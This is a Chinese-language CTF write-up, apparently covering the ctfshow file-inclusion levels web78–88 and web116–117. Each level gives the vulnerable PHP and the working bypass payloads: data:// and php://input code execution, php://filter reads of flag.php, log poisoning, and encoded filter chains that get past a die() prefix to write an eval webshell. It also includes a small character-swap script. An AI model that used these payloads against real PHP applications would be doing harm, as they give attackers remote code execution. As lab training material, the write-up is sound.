web78

1
2
3
4
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}

尝试利用php伪协议中的data伪协议尝试查找flag文件

1
?file=data://text/plain,<?php system('ls'); ?>

或者可以直接尝试利用过滤器直接处理flag.php

1
?file=php://filter/convert.base64-encode/resource=flag.php

web79

1
2
3
4
5
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}

由于添加了过滤,但又没完全过滤他这个写法是只是过滤了小写php相当于我们文件名不能有php了但是还可以继续用php的伪协议

https://base64.us/

1
2
3
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==

//base64内容是<?php system('ls'); ?>
1
2
3
4
POST /?file=PHP://input HTTP/1.1
user_agent

<?php system('ls'); ?>

web80-81

我们可以尝试是否可以包含日志,那样的话就可以直接把木马写在请求里.发现是可以的

于是抓包

image-20240719035134554

image-20240719035524469

web87

file_put_content和死亡·杂糅代码

1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}

在这里我们注意到在写入的过程中进行了一次php的解码,但是在我们通过hackbar传参的时候其实中间件也会进行一次解码,可以想到我们必须传一个二次url编码的数据进去才能保证拿到我们想要的东西.

我们可以利用php://filter过滤器去处理写入内容

1
php://filter/write=convert.base64-decode/resource=1.php

也就是把写入进去的数据进行base64解码

这里我们利用bp抓包内置的编码去进行url全编码,传入

1
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

然后我们需要去看

1
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

逗号区分代码的两个部分,那么写入的内容也会包括用.去拼接的前面的内容<?php die(‘大佬别秀了’);?>那么这个东西拼接上后面传入的content的内容去进行base64解码到底是怎么解码的?

首先需要了解

1
2
3
4
5
6
7
8
在标准的Base64编码中,括号(如圆括号()、方括号[]、花括号{}等)并不是Base64字符集的一部分。Base64字符集仅包括以下字符:

大写字母A-Z(26个字符)
小写字母a-z(26个字符)
数字0-910个字符)
加号+
斜杠/
等号=(仅用于填充)

所以这个字符串中的<>();?’和空格统统不会参与到base64的解码中那么真正参与的就只有phpdie这六个字母

但是base64生成规律是每3个输入字节(共24位)被转换为4个Base64字符(每个字符代表6位)。因此,Base64编码的输出长度必须是4的倍数。

那么我们的phpdie这六个字母必然会干扰到我们传入的content的值,要如何避免呢?其实我们只需要在我们真正需要的内容之前加上两个补位用的两个字母即可例如aa那么久可以构造出

1
aaPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4= //aa<?php eval($_GET[1]);?>

然后aa会和前面的phpdie去组合就不会干扰到后面

1
PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4=

的正常解码

如此得解

1
2
3
4
get:
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
post:
content=aaPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4=

访问1.php然后连接木马或者直接get传参1=system(‘ls’);即可

好文:https://xz.aliyun.com/t/8163?time__1311=n4%2bxuDgDBDyGKAKD=D7Dl1oQ4iK4%2bD0KqPPoqx&alichlgref=https://xz.aliyun.com/t/8163#toc-2

web88

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}

禁用了php那么我们现在能立马想到的可能就是data协议执行代码了

但是我们在利用

1
data://text/plain,<?php .....

会发现很多被过滤的东西

我们可以利用

1
data://text/plain;base64,...

去解决

但是在构造的时候由于base64存在=去补位所以我们要精心构造一个不存在符号的

1
2
13wq<?php eval($_POST[1]);?>12
MTN3cTw/cGhwIGV2YWwoJF9QT1NUWzFdKTs/PjEy

这里应该是不存在疑问的,因为我们的代码完全闭合其他的只是一些多余文本而已不会影响代码运行,于是

1
2
3
4
get:
?file=data://text/plain;base64,MTN3cTw/cGhwIGV2YWwoJF9QT1NUWzFdKTs/PjEy
post:
1=system('ls');

web116

进去发现是一个视频右键下载下来去虚拟机分析一下

image-20240720125050840

查看图片发现

image-20240720125120632

我们只需要传入?file=flag.php就可以读到了,读到一个视频文件继续下载下来notepad++打开找到flag,当然直接抓包重发一样可以拿到

web117

1
2
3
4
5
6
7
8
9
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

依旧是死亡exit绕过,没有过滤filter协议我们可以去搜一下filter可不只有|rot13|base64|这两种过滤手段

1
2
3
4
get:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:
contents=?<hp pvela$(P_SO[T]1;)>?

在这贴一个这个大佬切换脚本

1
2
3
4
5
6
7
8
str = "<?php eval($_POST[1]);?>"
str_encoded = ''
for i in range(len(str)):
if i % 2 == 1:
str_encoded += str[i]
str_encoded += str[i-1]
print(str_encoded)

https://blog.csdn.net/qq_44657899/article/details/109300335